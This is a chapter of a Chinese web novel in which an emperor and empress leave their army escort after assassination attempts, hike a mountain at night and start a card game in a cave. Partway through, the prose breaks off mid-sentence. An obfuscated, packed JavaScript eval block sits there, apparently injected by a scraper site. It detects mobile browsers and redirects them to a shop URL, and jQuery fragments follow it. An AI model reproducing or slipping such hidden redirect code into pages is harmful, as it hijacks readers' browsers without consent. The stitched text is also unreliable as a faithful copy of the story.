队伍离京不到两日,先后遭遇了五番刺杀,谢家军折损了不少健儿。
此时,众人封锁了方圆五里的荒野,包下一处客栈歇脚整顿。谢家世代武勋,最是怜兵恤卒,将士们正沉默着将战死同袍的尸首一个个捡拾回来,于荒野中入土掩埋。
而谢明仍是那副要笑不笑的模样,在云珩的默许下,正大剌剌的坐在一处嚼着饭,只是每每斜眼睨向桃之,总会用标准的斜嘴笑来表达厌恶之情。
桃之如今姓章,她没办法,她的姓对不起在场的所有人,只好安安静静的受着。而一旁的云珩在桌边看着客栈外那些严阵以待的兵丁,见他们或多或少身上都沾了血,一番思虑过后方才开口:“若再这般死守龙辇,只会成了章家练箭的靶子,今晚兵分三路,直接去西北集合。”
谢明闻言笑了笑:“不妥。皇上自幼长在深宫,金尊玉贵,如何抵达?臣领命护送皇上至西北,若让皇躯在这半道上出了什么闪失,臣万死不辞,也担不起这社稷之重。”
桃之坐在一旁,垂下眼遮住了眼中的怒气。
该死的老登,字字句句嫌云珩羸弱不堪,居然明晃晃笑话他离了这大部队连路都赶不明白。
云珩却没在意:“朕意已决,不必再议。”
谢明面上不显,心里却不免高看云珩一眼,训练出好的将士绝非易事,他本就做好了折损大半的决定,但如果可以保下大部分人马,自是乐意至极,这才收起笑意,领下皇旨:“臣遵旨。谢皇上体恤将士之恩,臣座下两名得力偏将定一路依命护皇上周全。”
谢明说完眼珠一转,看向一旁的桃之,语气幽幽:“这荒郊野岭的奔波劳顿,皇后娘娘怕是受不住。不如此番跟着大军走,重兵簇拥,总比颠沛流离要稳妥得多。”
这话是在防着她?
桃之心底暗自叹了口气,却又生出几分莫名的欣慰。看来这谢明倒是个知好歹的,相处时日尚短,这颗心已然明晃晃地偏向了云珩。
她不好在席间插话,只得低着头,任由思绪在那九霄云外翻飞。
谁想身侧的云珩却慢条斯理地开了口:“谢公美意,朕心领了。只是朕离不得皇后,便不劳谢公费心了。”
桃之正喝茶漱口,差点呛死。
隐约瞥见周围的人好像都看了过来,羞耻的把脸越埋越低,这顿饭吃下来差点没把头埋进地里边,还好云珩突然改主意要分开行动,不然抵达西北前她脖子可能都要折断了。
时间过的很快,转眼间就是晚上,这段时间除了赶路,云珩和谢明天天待在一起筹谋,具体筹谋什么桃之大概猜得到,而她则是闲下来就写点书稿,要么就和青梧待在一起打牌,这波行动她不好拖家带口,就把青桐留在了宫里。
深山孤邸,寒星点点,等云珩遣人来唤她时,桃之早已收束停当,她带上了青梧和张太医教好的随从小四,行至客栈外。
云珩正立在冷月清辉下,与谢明等人说些什么,声音在那夜风中徐徐传开:“朕就同这几人从后山绕行便是,朕不擅骑行,徒步绕山不便带过多人。”
见桃之过来,云珩略一抬眼,抬手指了指身侧的两名劲装青年:“谢宴,谢安,此次和我们随行。”
桃之看了一眼,只能说一个赛一个的高,且猿臂蜂腰,英气逼人,和谢明天差地别,也不知道怎么生出来的。长子谢宴年逾而立,面沉如水,一副喜怒不形于色的模样,而那六子谢安,不过是弱冠之年,对桃之的厌恶之情溢于言表。碍于圣驾在侧,他才勉强拱了拱手,同桃之互通了名姓。
桃之被所有人讨厌着,只好尴尬的站着,只想走之前降低存在感,云珩却非要俯下身,凑到她耳畔说:“你行李太多,只能让谢公的大队送去,这段时间只能委屈你跟着我吃些苦头了。”
徒步翻山,这安排也正常,就不能出发后,等这么多人再说吗?!桃之看着周遭人马攒动、列阵排队,那如芒在背的视线时不时往这处瞟,耳根微烫:“知道了知道了,大庭广众之下,您老人家收敛些吧求求你了!”
云珩看她这样,反而凑得更近了些,鼻息间的热气散在她的鬓发里:“就不。”
桃之:………
就这样,由谢家双将开路,青梧与小四护持,外加这一对命途多舛的帝后,六人趁着夜色离了大队踏上了路程。
现下大队人马扎在此处打掩护,他们得借着这抹夜色掩映,从那深山老林里翻将过去。这两日来,刺杀一波未平一波又起,虽说没能杀到龙辇跟前,可那风里裹挟而来的血腥气,浓得化不开,也能清楚听到不时传来金属交击的嘶鸣与垂死挣扎的闷哼。
搅得桃之半刻也放不下心来,现下就几个人走进山里去,忍不住反复确认那些暗卫到底还在不在,在云珩的再三保证下,勉强稳住心神。
正是暮春时节,因着山间药材丰茂,这座山附近多有村落,坡度虽不算陡峭嶙峋,可到了这晚间,举目望去皆是影影绰绰,压根瞧不清具体的样貌,山风一阵紧过一阵,吹得那繁密的枝叶沙沙作响。
万幸,此地素有采药女往来出入,林间倒还留着些简陋荒僻的土路。待到那土路断了去处,亦有被前人踩得平整的草痕,彰显着此地尚可供人通行。
六个人都没怎么出声,谢宴在前头披荆斩棘,手中长剑不时拨开横生出来的枯枝,剩下的人紧跟随后,四周除了他们发出的脚步声,便只有那风过林梢的呜咽声。
走了快两个时辰,桃之这一路上眼神时不时往云珩脸上扫,看他额间冒出虚汗,往他身边靠的近了些,果然,不一会儿他身子就晃了晃,被桃之眼疾手快的一把扶住。
云珩侧过头瞥了她一眼,累的脸上都没什么多余表情,像是没反应过来,有些木纳的准备直起身子,桃之却先他一步拍了拍腿,仰天长叹一口气:“我不行了,走不动了,咱们休整片刻吧。”
前头带路的谢宴闻言,停下脚步回身点了点头:“臣去附近寻个遮风避雨处。”
桃之趁机使劲儿向下扯了扯云珩的手臂,他这才顺着力道坐了下去。
桃之想到此后要和这些人相处不少时日,转过头道:“此后我们赶路也不好自称臣或别的,我们你我相称可以吗?以后如果愿意的话可以叫我桃之,是我的化名。”
话音刚落,谢安却是冷哼一声,路过她身侧时横竖瞧不上眼:“谁敢啊。”
桃之被这小子的阴阳怪气堵得心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334561|199226||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口一滞,暗自翻了个白眼,懒得过多计较,反正尽量和平相处吧,不行就拉倒。看他们各自忙去,才蹲下身摸索云珩的腰侧,发觉并没有血迹溢出,才放下心来。
云珩看她靠了过来,半边身子软塌塌的就依偎了过去,轻轻靠了靠她的肩,嗓音低哑:“我没事。”
桃之为了让他靠得舒坦些,也屈膝坐下,一边调整坐姿,一边压低声音叮嘱:“你可别硬撑,你万一你出了事,这一路折腾可就全白搭了。”
云珩听着她在耳边的碎碎念,嗅着她身上若有若无的桃花香,毫不客气的把重量都卸给了她。
不一会儿,谢安找到了遮蔽处,是个深浅不过数尺的短促石洞,胜在洞口草木蔚然成阴,大片大片的荒草长得比人还高,倒是个好的藏身所。
桃之将云珩安顿妥当后,便挥手示意小四上前施针,自己则跟着几人去外头捡拾枯枝。
不多时,靠青梧一番努力,洞内才有了一簇火,桃之从背上的包裹里翻出小锅,支起架子就煮起了药,此时的云珩正盘腿而坐,衣衫半解,被小四那些银针扎得像个刺猬,冷风一扫,清白的皮肤上顿时起了一层密密的鸡皮疙瘩。他看着桃之忍不住轻笑出声:“你怎么连这些也都没忘记带啊。”
桃之被火光映得满脸通红,手上动作却没停,拿竹筷拨弄着锅里的草药,无奈的看了看他:“因为你从不在意你自己,我不带谁带?”
正说着,谢宴与谢安两兄弟正跨进洞口,看着眼前扎针又熬药的场面,步子齐刷刷顿住,一时间进退两难。
桃之和他们对上视线也有些尴尬,撇开眼,轻咳一声道:“那个……皇上身体不好,之后每日都需要这样施针喝药,我们一路躲藏着赶路,也避不开你们,往后你们多担待。”
谢宴到底是个老成持重的,闻言反手一推身旁那个正发愣的谢安,动作自然的在火堆旁寻了个空位坐下:“理解。”
谢安可就没这么大方了,憋屈着一张脸,像是谁欠了他八百两银子似的,靠着冰凉的山壁坐下,一双眼睛死瞪着自己的鞋尖,手指在地上胡乱的画着圈儿。
这石洞本就局促狭窄,六个大活人挤在一起,那气氛当僵硬的要死,唯有柴火“噼啪”作响。桃之见药熬好了,起身挪到洞外吹凉,等她再坐回来时,眼见众人皆盯着火堆相顾无言,她这好动的性子终是先熬不住了。
她眼珠一转,视线在众人身上打了个转儿:“皇帝施针还需要一个时辰,干坐着也是无趣,不如……咱们来打牌?”
一旁的青梧立马献出扭曲笑容,手腕一翻便从怀里抽出一叠牌卡:“打!”
谢宴瞧着那花花绿绿的纸片,眼里满是茫然不解:“打牌是?”
她接过青梧递过来的牌卡:“这叫升级,四人成局,两两结盟,讲究的是个同舟共济,运筹帷幄。虽说这大朝国没见过此物,但个中博弈之理,与行军布阵倒也有异曲同工之妙。”
谢宴被勾起了几分好奇,身子微微前倾。桃之见状,一边动作麻利的发牌,一边对着那满脸狐疑的谢家兄弟挑了挑眉:“这可是个考验默契的活计。我和青梧先打个样,给你们走上一遭。若是看明白了,咱们便来局大的。”